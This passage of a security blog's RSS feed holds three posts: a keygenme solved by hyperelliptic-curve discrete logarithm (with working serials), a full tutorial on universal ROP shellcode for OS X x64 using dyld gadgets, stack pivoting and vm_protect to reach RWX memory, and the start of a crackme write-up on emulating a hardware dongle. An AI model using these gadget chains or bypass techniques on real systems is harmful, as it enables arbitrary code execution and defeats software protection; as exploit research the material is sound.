<p>Knowing we are dealing with hyperelliptic curve, we can be more specfic about group&#8217;s order &#8212; we can actually compute it exactly and this will allow us to use Pollard&#8217;s rho, instead of kangaroo.</p>
<p>Here are the params, in <a href="http://www.sagemath.org/">SAGE</a> format:</p>
<pre>x = GF(8191)['x'].gen()
f = 3076 + 1177*x + 6969 * x^2 + 294*x^3 + 6512*x^4 + 7340*x^5 + 5891*x^6 + 3050*x^7 + 0*x^8 + 1*x^9
H = HyperellipticCurve(f)
J = H.jacobian()
X = J(GF(8191))
Px = 1875 + 1721*x + 5809*x^2 + 5647*x^3 + 1*x^4
Py = 6019 + 3070*x + 1666*x^2 + 688*x^3
Qx = 4134 + 2027*x + 4475*x^2 + 4255*x^3 + 1*x^4
Qy = 6525 + 928*x + 1361*x^2 + 6937*x^3
P = X([Px,Py])
Q = X([Qx,Qy])
O = P-P
frob = H.frobenius_polynomial()
order = frob(1)
dlog = 3414275298009790
print order*P == O, dlog*P == Q</pre>
<p style="text-align:left;">Running the above in SAGE will produce <em>True, True</em> on output, which means order of jacobian and the dlog are indeed correct.</p>
<p style="text-align:left;">The HE we are working on is <img src='https://s-ssl.wordpress.com/latex.php?latex=H%3A+y%5E2+%2B+h%28x%29y+%3D+f%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H: y^2 + h(x)y = f(x)' title='H: y^2 + h(x)y = f(x)' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=h%28x%29%3D0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='h(x)=0' title='h(x)=0' class='latex' /> and <img src='https://s-ssl.wordpress.com/latex.php?latex=deg%28f%29%3D2%2A4%2B1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='deg(f)=2*4+1' title='deg(f)=2*4+1' class='latex' />, so genus <img src='https://s-ssl.wordpress.com/latex.php?latex=g%3D4&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g=4' title='g=4' class='latex' />. Since we are working with polynomials over <img src='https://s-ssl.wordpress.com/latex.php?latex=F_p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='F_p' title='F_p' class='latex' />, with <img src='https://s-ssl.wordpress.com/latex.php?latex=p%3D8191&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='p=8191' title='p=8191' class='latex' />, jacobian will be defined over <img src='https://s-ssl.wordpress.com/latex.php?latex=F_%7Bp%5E4%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='F_{p^4}' title='F_{p^4}' class='latex' />.</p>
<p style="text-align:left;">Order of jacobian is given explicitly by <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Cchi%281%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;chi(1)' title='&#92;chi(1)' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Cchi&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;chi' title='&#92;chi' class='latex' /> is its characteristic (Frobenius) polynomial (page 6, [2]).</p>
<p style="text-align:left;">The exact order is 4518471260972087 (~2^52), which is 2 times smaller than our rough estimate of 2^53, so knowing the exact order decreases the running time of kangaroo by a factor of <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Csqrt%7B2%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;sqrt{2}' title='&#92;sqrt{2}' class='latex' />.</p>
<p style="text-align:left;">We can also bound the order using <a href="http://en.wikipedia.org/wiki/Hyperelliptic_curve_cryptography#Order_of_the_Jacobian">Hasse-Weil theorem</a>. In our case, theorem states that order lies in the interval <img src='https://s-ssl.wordpress.com/latex.php?latex=%5B%28%5Csqrt%7B8191%7D-1%29%5E8%2C%28%5Csqrt%7B8191%7D%2B1%29%5E8%5D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='[(&#92;sqrt{8191}-1)^8,(&#92;sqrt{8191}+1)^8]' title='[(&#92;sqrt{8191}-1)^8,(&#92;sqrt{8191}+1)^8]' class='latex' />. The upper bound is 1.08 times larger than the exact order, so it&#8217;d be a very good estimate.</p>
<p style="text-align:left;">Kangaroo implemented with <a href="http://www.flintlib.org/">FLINT</a> solves the DLP in under an hour, using one 2GHz core. The solution is  3414275298009790.</p>
<p style="text-align:left;">
<h3 style="text-align:center;"><strong>Summary</strong></h3>
<p>&nbsp;</p>
<p>For hyperelliptic curves, group law is defined for their Jacobians. To &#8220;add points&#8221; use <a href="http://en.wikipedia.org/wiki/Imaginary_hyperelliptic_curve#Reduced_divisors_and_their_Mumford_representation">Mumford representation and Cantor&#8217;s algorithm</a>. For solving DLP over HE curves, you can use general purpose algorithms like Pollard&#8217;s rho/lambda, Pohlig Hellman, or index calculus. Note that curves of high genus are insecure in the sense that index calculus runs in  subexponential time for them (see <a href="http://en.wikipedia.org/wiki/Hyperelliptic_curve_cryptography#Attacks_against_the_DLP">here</a> for a discussion). For bounding/computing order, use <a href="http://en.wikipedia.org/wiki/Hyperelliptic_curve_cryptography#Order_of_the_Jacobian">Hasse-Weil</a> theorem, or Frobenius polynomial.</p>
<p>Sources <a href="https://github.com/pakt/crackmes/tree/master/dcoder.keygenme2/kgn">available on github</a>, as usual.</p>
<p>Few serials, to prove correctness <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> :</p>
<pre>pa_kt
38531D6B8FDF2A884166423D58B125B2
-
trololo
C356A2AB43CA6ACCEF72CCEE0C3FD40A
-
crackmes.us
076C49CC3AFF9D25CE8B7CA783B72430</pre>
<p>P.S.</p>
<p>Dcoder pointed out I should mention the <a href="http://en.wikipedia.org/wiki/Riemann%E2%80%93Roch_theorem">Riemann-Roch theorem</a>. Thanks to R-R it&#8217;s possible to construct the isomorphism between <img src='https://s-ssl.wordpress.com/latex.php?latex=Pic%5E0%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Pic^0(H)' title='Pic^0(H)' class='latex' /> and <img src='https://s-ssl.wordpress.com/latex.php?latex=J%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='J(H)' title='J(H)' class='latex' /> (it ensures the existence of reduced divisors).</p>
<p>&nbsp;</p>
<p style="text-align:left;"><strong>References</strong></p>
<p style="text-align:left;">[1] Leonard S. Charlap, David P. Robbins, <em><a href="http://www.idaccr.org/reports/er31.ps">An Elementary Introduction to Elliptic Curves </a></em></p>
<p style="text-align:left;">[2] Pierrick Gaudry, Robert Harley, <em><a href="http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.26.3884">Counting Points on Hyperelliptic Curves over Finite Fields</a></em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/249/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=249&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2011/09/26/hyperelliptic-curve-crypto-dcoders-keygenme-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/09/hecadd.png" medium="image">
			<media:title type="html">hecadd</media:title>
		</media:content>
	</item>
		<item>
		<title>Universal ROP shellcode for OS X x64</title>
		<link>https://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/</link>
		<comments>https://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/#comments</comments>
		<pubDate>Sat, 23 Jul 2011 21:35:04 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Exploit development]]></category>
		<category><![CDATA[aslr]]></category>
		<category><![CDATA[dyld]]></category>
		<category><![CDATA[exploit development]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[rop]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=220</guid>
		<description><![CDATA[One of the hurdles one will encounter during OS X exploitation is ASLR/DEP combination for 64-bit processes (32bit don&#8217;t have DEP [1]). When implemented correctly, it&#8217;s an effective mitigation, which can be circumvented only with an info leak. (Un)fortunately, OS X versions up to recent Lion (10.7) offer only incomplete ASLR which still allows attackers [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=220&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>One of the hurdles one will encounter during OS X exploitation is ASLR/DEP combination for 64-bit processes (32bit don&#8217;t have DEP [1]). When implemented correctly, it&#8217;s an effective mitigation, which can be circumvented only with an info leak. (Un)fortunately, OS X versions up to recent Lion (10.7) offer only incomplete ASLR which still allows attackers to succeed in their efforts to execute arbitrary code. One of the problems (among others) is dyld (dynamic loader) image being located at the same address in every process. This makes <a href="http://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> possible &#8212; by controlling the stack, we can reuse snippets of code from dyld and, in effect, execute arbitrary code.</p>
<p style="text-align:center;"><a href="http://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/"><img class="size-full wp-image-222 aligncenter" title="dyld" src="http://gdtr.files.wordpress.com/2011/07/dyld.png?w=600&#038;h=52" alt="" width="600" height="52" /></a></p>
<p>The only public ROP dyld shellcode for OS X was presented in [1]. Charlie Miller&#8217;s version works under the assumption that that rax/rdi have specific values. Due to x64 calling convention [2] it is very probable that this precondition is met. Nevertheless it would be useful to create a shellcode with weaker assumptions &#8212; that&#8217;s exactly what this post is about. We will create a generic ROP shellcode, similiar to <a href="http://www.whitephosphorus.org/sayonara.txt">sayonara</a>, but for OS X <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><span id="more-220"></span></p>
<h2 style="text-align:center;">Stack pivoting</h2>
<p>We assume that rsp is fully controlled. Sometimes, achieving such state is a nontrivial task in itself &#8212; for every bug, exploitation can begin with different register/memory values. In [1], an easy case of stack pivoting is described &#8212; we start with rax pointing to controlled memory, and rdi to a valid buffer. We then set rsp = rax with:</p>
<pre>0x00007fff5fc24c8b mov    QWORD PTR [rdi+0x38],rax
(irrelevant)
0x00007fff5fc24cd8 mov    rsp,QWORD PTR [rdi+0x38]
0x00007fff5fc24cdc pop    rdi
0x00007fff5fc24cdd ret</pre>
<p>Easy! The problem is, we might not be so lucky to start with rax pointing to fully controlled memory. For example, we may start with the following:</p>
<pre>call [rax+0x100]</pre>
<p>Where memory in range [rax, rax+0xF0] is random, and we control buffer starting at rax+0xF1. Starting conditions for every bug are different and pivoting the stack can be even harder than creating a ROP chain, since during pivoting the state we start with can be completely arbitrary, when during ROP we already control the stack.</p>
<p>There is no generic way to remedy this problem, but having a large database of usable gadgets would certainly help <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . That brings us to an annoying problem: &#8220;leave&#8221; instruction. &#8220;Leave&#8221; is equivalent to:</p>
<pre>mov rsp, rbp
pop rbp</pre>
<p>If we don&#8217;t control rbp, we will lose control of the stack. The problem is, &#8220;leave&#8221; is very often present before &#8220;ret&#8221;, effectively limiting the number of gadgets we can use.</p>
<p>Fortunately, there is a little trick that will allow us to use any &#8220;leave&#8221; gadget. We need to create a &#8220;fake&#8221; stack frame with a series of 3 indirect calls, like so:</p>
<pre>call [rax]+------------+
(...)&lt;--------------+  |
call [rax+4]+       |  |
            |       |  +----&gt; push rbp
            |       |         mov  rbp, rsp
+-----------+       |         (...)
|                   |         call [rax+8]+
|                   |                     |
+--&gt;continue        |      +--------------+
                    |      |
                    |      |
                    |      +-&gt;(gadget)
                    |         leave
                    +--------+ret</pre>
<p>Start from call [rax] and follow the execution flow along the arrows. With such construct, we can safely call any gadget ending with &#8220;leave / ret&#8221;. Such sequences (two indirect calls with different displacements near each other) may be rare, but we don&#8217;t need many of them, one is sufficient. We can use the second call (call [rax+4]) to jump to a sequence that will perturb rax and then jump back to &#8220;call [rax]&#8220;, allowing us to use the same &#8220;dispatcher&#8221; gadget as many times as we need to use a &#8220;leaver&#8221;. Here&#8217;s an example of such dispatcher, from dyld:</p>
<pre> 
DISPATCHER:
__text:00007FFF5FC0D1BF                 call    qword ptr [rax+78h]
__text:00007FFF5FC0D1C2                 mov     rsi, rax
__text:00007FFF5FC0D1C5                 test    rax, rax
__text:00007FFF5FC0D1C8                 jz      short loc_7FFF5FC0D1E0
__text:00007FFF5FC0D1CA                 mov     rax, [rbx]
__text:00007FFF5FC0D1CD                 mov     rcx, rbx
__text:00007FFF5FC0D1D0                 mov     rdx, r12
__text:00007FFF5FC0D1D3                 mov     rdi, rbx
__text:00007FFF5FC0D1D6                 call    qword ptr [rax+80h]

FAKE FRAME SETUP:
__text:00007FFF5FC0CD44                 push    rbp
__text:00007FFF5FC0CD45                 mov     rbp, rsp
__text:00007FFF5FC0CD48                 mov     [rbp+var_18], rbx
__text:00007FFF5FC0CD4C                 mov     [rbp+var_10], r12
__text:00007FFF5FC0CD50                 mov     [rbp+var_8], r13
__text:00007FFF5FC0CD54                 sub     rsp, 20h
__text:00007FFF5FC0CD58                 mov     r12, rdi
__text:00007FFF5FC0CD5B                 mov     r13d, esi
__text:00007FFF5FC0CD5E                 mov     rax, [rdi]
__text:00007FFF5FC0CD61                 call    qword ptr [rax+1A0h]</pre>
<p>Few preconditions related to register values must be met, for the gadgets above to work. Since we don&#8217;t control the stack during pivoting, we need to use gadgets ending with indirect jumps, or calls, to set registers and memory to necessary values.</p>
<p>&#8220;Leave&#8221; problem is particulary crippling during pivoting and that&#8217;s when fake frames should be used. During ROP, it&#8217;s easier to just control rbp and point it to memory set earlier.</p>
<h2 style="text-align:center;">ROP</h2>
<p>Plan is simple: use gadgets from dyld to create RWX memory area  (using vm_protect), then copy normal shellcode to that area, and jump to it.</p>
<p>Here&#8217;s the vm_protect call we will use to make memory from dyld&#8217;s .data section executable:</p>
<pre>__text:00007FFF5FC0D34A                 mov     r8d, ebx        ; new_protection
__text:00007FFF5FC0D34D                 xor     ecx, ecx        ; set_maximum
__text:00007FFF5FC0D34F                 mov     rdx, rax        ; size
__text:00007FFF5FC0D352                 mov     rsi, [rbp+address] ; address
__text:00007FFF5FC0D356                 lea     rax, _mach_task_self_
__text:00007FFF5FC0D35D                 mov     edi, [rax]      ; target_task
__text:00007FFF5FC0D35F                 call    _vm_protect
__text:00007FFF5FC0D364                 test    eax, eax
__text:00007FFF5FC0D366                 jz      short loc_7FFF5FC0D38D
__text:00007FFF5FC0D38D loc_7FFF5FC0D38D:
__text:00007FFF5FC0D38D                 cmp     byte ptr [r12+0FAh], 0
__text:00007FFF5FC0D396                 jz      short loc_7FFF5FC0D406
__text:00007FFF5FC0D406 loc_7FFF5FC0D406:
__text:00007FFF5FC0D406                 mov     rbx, [rbp+var_28]
__text:00007FFF5FC0D40A                 mov     r12, [rbp+var_20]
__text:00007FFF5FC0D40E                 mov     r13, [rbp+var_18]
__text:00007FFF5FC0D412                 mov     r14, [rbp+var_10]
__text:00007FFF5FC0D416                 mov     r15, [rbp+var_8]
__text:00007FFF5FC0D41A                 leave
__text:00007FFF5FC0D41B                 retn</pre>
<p>This is the same technique as in [1]. Few registers need to be set for this to work: registers used as parameters for vm_protect and rbp, to survive &#8220;leave / ret&#8221; at the end. We can set them one by one, jumping over different gadgets like described in [1], or set them all at once, using the following:</p>
<pre>__text:00007FFF5FC24CA1                 mov     rax, [rdi]
__text:00007FFF5FC24CA4                 mov     rbx, [rdi+8]
__text:00007FFF5FC24CA8                 mov     rcx, [rdi+10h]
__text:00007FFF5FC24CAC                 mov     rdx, [rdi+18h]
__text:00007FFF5FC24CB0                 mov     rsi, [rdi+28h]
__text:00007FFF5FC24CB4                 mov     rbp, [rdi+30h]
__text:00007FFF5FC24CB8                 mov     r8, [rdi+40h]
__text:00007FFF5FC24CBC                 mov     r9, [rdi+48h]
__text:00007FFF5FC24CC0                 mov     r10, [rdi+50h]
__text:00007FFF5FC24CC4                 mov     r11, [rdi+58h]
__text:00007FFF5FC24CC8                 mov     r12, [rdi+60h]
__text:00007FFF5FC24CCC                 mov     r13, [rdi+68h]
__text:00007FFF5FC24CD0                 mov     r14, [rdi+70h]
__text:00007FFF5FC24CD4                 mov     r15, [rdi+78h]
__text:00007FFF5FC24CD8                 mov     rsp, [rdi+38h]
__text:00007FFF5FC24CDC                 pop     rdi
__text:00007FFF5FC24CDD                 retn</pre>
<p><span class="Apple-style-span" style="font-family:Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;font-size:13px;line-height:19px;white-space:normal;">We can fill a buffer from dyld&#8217;s .data section with values we want to set registers with and simply call the above gadget. The only problem with this approach is rsp being overwritten (mov rsp, [rdi+38h]), but we can remedy this by creating a &#8220;fake&#8221; stack somewhere in memory <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</span><br />
<span class="Apple-style-span" style="font-family:Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;font-size:13px;line-height:19px;white-space:normal;">Below is a WRITE MEM gadget sequence we can use.</span></p>
<pre>__text:00007FFF5FC23373                 pop     rbx
__text:00007FFF5FC23374                 retn

__text:00007FFF5FC24CDC                 pop     rdi
__text:00007FFF5FC24CDD                 retn

__text:00007FFF5FC24CE1                 mov     [rdi+8], rbx
__text:00007FFF5FC24CE5                 mov     [rdi+10h], rcx
__text:00007FFF5FC24CE9                 mov     [rdi+18h], rdx
__text:00007FFF5FC24CED                 mov     [rdi+20h], rdi
__text:00007FFF5FC24CF1                 mov     [rdi+28h], rsi
__text:00007FFF5FC24CF5                 mov     [rdi+30h], rbp
__text:00007FFF5FC24CF9                 mov     [rdi+38h], rsp
__text:00007FFF5FC24CFD                 add     qword ptr [rdi+38h], 8
__text:00007FFF5FC24D02                 mov     [rdi+40h], r8
__text:00007FFF5FC24D06                 mov     [rdi+48h], r9
__text:00007FFF5FC24D0A                 mov     [rdi+50h], r10
__text:00007FFF5FC24D0E                 mov     [rdi+58h], r11
__text:00007FFF5FC24D12                 mov     [rdi+60h], r12
__text:00007FFF5FC24D16                 mov     [rdi+68h], r13
__text:00007FFF5FC24D1A                 mov     [rdi+70h], r14
__text:00007FFF5FC24D1E                 mov     [rdi+78h], r15
__text:00007FFF5FC24D22                 mov     rsi, [rsp+0]
__text:00007FFF5FC24D26                 mov     [rdi+80h], rsi
__text:00007FFF5FC24D2D                 retn</pre>
<p><span class="Apple-style-span" style="font-family:Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;font-size:13px;line-height:19px;white-space:normal;">First we pop the value, then the address and finally set memory with &#8220;mov [rdi+8], rbx&#8221;. Notice that we also trash values higher is memory, from rdi+0&#215;10, to rdi+0&#215;80, so we need to remember to write to LOWER addresses </span>first.</p>
<p>We could copy our &#8220;normal shellcode&#8221; to RWX memory using the above sequence, but it would be wasteful in terms of stack space. Observe that to copy a single QWORD, we need 5 QWORDs on the stack (3 gadgets, address, value). It&#8217;s more efficient to create a small &#8220;stub&#8221; that will take care of this.</p>
<pre>; copy normal shellcode to RWX area
; size = 0x1000
stub:
    lea rsi, [r15+offset]
    xor rcx, rcx
    inc rcx
    shl rcx, 12
    lea rdi, [rel normal_shellcode] ;rip relative addressing
    rep movsb
normal_shellcode:</pre>
<p>rsi is set to point to old stack (passed in r15), normal shellcode starts from a constant offset. We save a bit of space using rip-relative addressing (x64 feature) to set rdi, rather than a constant 8-byte address.</p>
<p>To summarize:</p>
<ul>
<li>set register values in dyld&#8217;s .data buffer</li>
<li>create a fake stack and a fake stack frame in memory</li>
<li>copy stub to future RWX area</li>
<li>set all registers to correct values</li>
<li>use vm_protect to create RWX area</li>
<li>load r15 with previous stack pointer</li>
<li>jump to RWX memory</li>
<li>stub will copy our &#8220;normal&#8221; shellcode from old stack to RWX mem</li>
<li>???</li>
<li>PROFIT!</li>
</ul>
<p>That&#8217;s it. The resulting ROP shellcode is bigger than the one in [1], but it doesn&#8217;t assume anything about registers. There is room for improvement, but in environments where you can spray megabytes of memory with javascript (like in Safari <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), size of shellcode is not critical.</p>
<p>You can download the final version <a href="https://github.com/pakt/exp-dev/tree/master/osx.dyld.rop">here</a>.</p>
<p>References:</p>
<p>[1] Charlie Miller, <em><a href="http://securityevaluators.com/files/papers/SnowLeopard.pdf">Mac OS X Hacking (Snow Leopard Edition)</a></em>, 2010</p>
<p>[2] Jon Larimer, <em><a href="http://lolcathost.org/b/introx86.pdf">Intro to x64 Reversing</a></em>, 2011</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/220/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=220&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/07/dyld.png" medium="image">
			<media:title type="html">dyld</media:title>
		</media:content>
	</item>
		<item>
		<title>Dongles and Nyberg-Rueppel signature scheme</title>
		<link>https://gdtr.wordpress.com/2011/07/10/dongles-and-nyberg-rueppel-signature-scheme/</link>
		<comments>https://gdtr.wordpress.com/2011/07/10/dongles-and-nyberg-rueppel-signature-scheme/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 18:31:48 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[dongle]]></category>
		<category><![CDATA[elliptic curve]]></category>
		<category><![CDATA[emulator]]></category>
		<category><![CDATA[hid]]></category>
		<category><![CDATA[nyber-rueppel]]></category>
		<category><![CDATA[teensy]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=132</guid>
		<description><![CDATA[&#8220;Dongle me&#8221; by cyclops is, as name suggest, a crackme that requires a hardware dongle, or a software emulator. These two technical problems, combined with an uncommon authentication scheme, make it an interesting target to analyse. First, we need to learn how our target detects and communicates with the dongle. In this case, since the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=132&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&#8220;Dongle me&#8221; by cyclops is, as name suggest, a crackme that requires a <a href="http://en.wikipedia.org/wiki/Software_protection_dongle" target="_blank">hardware dongle</a>, or a software emulator. These two technical problems, combined with an uncommon authentication scheme, make it an interesting target to analyse.</p>
<p style="text-align:center;margin:20px;"><a href="http://gdtr.wordpress.com/2011/07/10/dongles-and-nyberg-rueppel-signature-scheme/"><img class="size-full wp-image-200 aligncenter" title="dongle-me" src="http://gdtr.files.wordpress.com/2011/07/dongle-me.png?w=600" alt=""   /></a></p>
<p style="text-align:left;margin:20px;"><span id="more-132"></span></p>
<p style="text-align:left;">First, we need to learn how our target detects and communicates with the dongle. In this case, since the executable is small and not packed/protected/obfuscated, a quick glance at imports section is sufficient to get to the dongle discovery procedure &#8212; HidD_* APIs from hid.dll give it away instantly.</p>
<p style="text-align:left;">Pseudocode:</p>
<pre>#define VENDOR_ID  0x04d8
#define PRODUCT_ID 0x003f

device_t g_device = NULL;

// address: 00401090
bool find_hid_dongle(int vendor_id, int product_id){

    device_t dev;

    while(dev = next_hid_device()){

        if(dev-&gt;vid == vendor_id &amp;&amp; dev-&gt;pid == product_id){
            g_device = dev;
            return TRUE;
        }
    }

    return FALSE;
}</pre>
<p>And a high level view of authentication:</p>
<pre>bool authenticate(){
    char buffer[N];

    if(!find_hid_dongle(VENDOR_ID, PRODUCT_ID)){
        return FALSE;
    }

    read_dongle(g_device, buffer);

    if(is_valid(buffer)){
        return TRUE;
    }

    return FALSE;
}</pre>
<p>To make it even clearer: HID devices installed in the OS are enumerated one by one. Dongle is recognized by specific values of variables exposed by every HID: product_id and vendor_id. If found, device is opened with CreateFile and read with ReadFile (standard windows APIs). Finally, read data is validated. Before creating a dongle, or an emulator, we need to get familiar with HID.</p>
<h2 style="text-align:center;margin:20px;">Human interface devices</h2>
<p><a href="http://en.wikipedia.org/wiki/Human_interface_device" target="_blank">Human Interface Devices</a> are devices that interact with humans &#8212; take input from them and/or present them output. Good examples are mouse and a keyboard. Primary motivation for HID, was to simplify the process of installation of PC input devices. Prior to HID, custom devices were required to implement their own protocols to communicate with the user, which of course forced developers to create custom drivers to handle these protocols, and users to install these drivers. HID protocol makes things simpler. Instead of custom drivers, developers need to &#8220;describe&#8221; their protocol using HID descriptors. Descriptors are parsed and interpreted by the OS itself, allowing developers to easily create complex devices from pritmitives provided by the OS.</p>
<p>To implement a hardware HID dongle, we can use <a href="http://www.pjrc.com/teensy/" target="_blank">Teensy</a>, or any compatible clone. I found a Teensy 1.0 clone available for few bucks, preloaded with a PS3 hack <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . With <a href="http://www.pjrc.com/teensy/rawhid.html" target="_blank">USB raw hid example</a> it&#8217;s trivial to implement a simple dongle that waits for data from our keygen, saves it in EEPROM and then sends it back to the OS, in a loop. If you want to take a look at the implementation, see <a href="https://github.com/pakt/crackmes/tree/master/cyclops.dongle.me" target="_blank">here</a>.</p>
<p>Creating an emulator is more complicated and requires a HID miniport driver. While it certainly is possible to create it basing only on Win DDK HID samples, it is no easy feat, if you don&#8217;t have experience in kernel development. Fortunately, there is an excellent open source project called <a href="http://code.google.com/p/vmulti/" target="_blank">vmulti</a>, created by Daniel Newton, that does exactly what we need: creates virtual HID devices that can be read / written to. Adapting it to our needs is a technicality that I feel isn&#8217;t worth describing, so check the <a href="https://github.com/pakt/crackmes/tree/master/cyclops.dongle.me/dongle/vmulti" target="_blank">sources</a> if you are interested in details.</p>
<p>Emulator will simply pass stuff received from the keygen to anyone who invokes ReadFile(). Here&#8217;s a nice screenshot of device manager with successfully installed emulator:</p>
<p style="text-align:center;"><img class="aligncenter size-full wp-image-209" title="hid_devices" src="http://gdtr.files.wordpress.com/2011/07/hid_devices.png?w=600" alt=""   /></p>
<h2 style="text-align:center;">Authentication</h2>
